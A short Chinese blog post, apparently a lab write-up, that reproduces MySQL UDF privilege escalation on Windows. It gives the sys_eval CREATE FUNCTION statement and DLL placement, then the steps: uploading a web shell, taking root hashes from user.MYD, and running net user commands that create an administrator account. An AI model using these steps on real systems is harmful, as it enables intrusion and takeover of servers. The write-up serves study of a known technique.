Mysql-udf提权复现记录

Mysql-udf提权复现

关于udf

UDF (user defined function),自定义函数。通过添加新函数,对MySQL的功能进行扩充。

udf提权原理

在udf.dll文件中,定义了名位sys_eval()的函数,该函数可以执行系统命令,通过该函数来完成,系统用户的创建和提权。

udf提权注意事项

  • 在使用sys_eval()函数时,要显进行引用:

    引用有两个变量,一个是函数名sys_eval,一个是共享包名称udf.dll

    create function sys_eval returns string soname 'udf.dll';

  • 当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。

    当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下。

  • 保证secure_file_priv的值为空,才可以进行文件的导入和导出。查看语句:

    show global variables like 'secure%';

使用脚本来完成udf的提权复现

上传一句话木马,之后使用蚁剑连接

找到MySQLxxx/data/mysql/user.MYD打开可以看见root用户的账户和密码

密码被MD5加密,在网上找在线工具解密

然后将moon.php上传到服务器目录

在这里插入图片描述

之后访问脚本,登录所找到的用户和密码

在这里插入图片描述

导入udf.dll文件

在这里插入图片描述

引用sys_eval,就是点击脚本的创建sys_eval

回显::create function sys_eval returns string soname ‘moonudf.dll’
Function ‘sys_eval’ already exists

在自定义SQL语句中输入select sys_eval(‘net user’)查看当前用户

得到回显

SQL语句:select sys_eval('net user')

\\DESKTOP-E65T8I4 

-------------------------------------------------------------------------------
23847                    admin                    Administrator            
DefaultAccount           Guest                    WDAGUtilityAccount       
输入select sys_eval('net user chen 123 /add') #创建新用户chen

输入select sys_eval('net localgroup Administrators chen /add') #将我们建立的chen用户加入管理员组去。

输入select sys_eval('net user chen /active:yes') #激活我们新建的账号

完成提权

局限:

  • 限制了对web脚本执行则无法使用

  • 如果网站目录并不包含mysql数据包库则无法,通过蚁剑正常查看到密码,可以进行手工提权

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值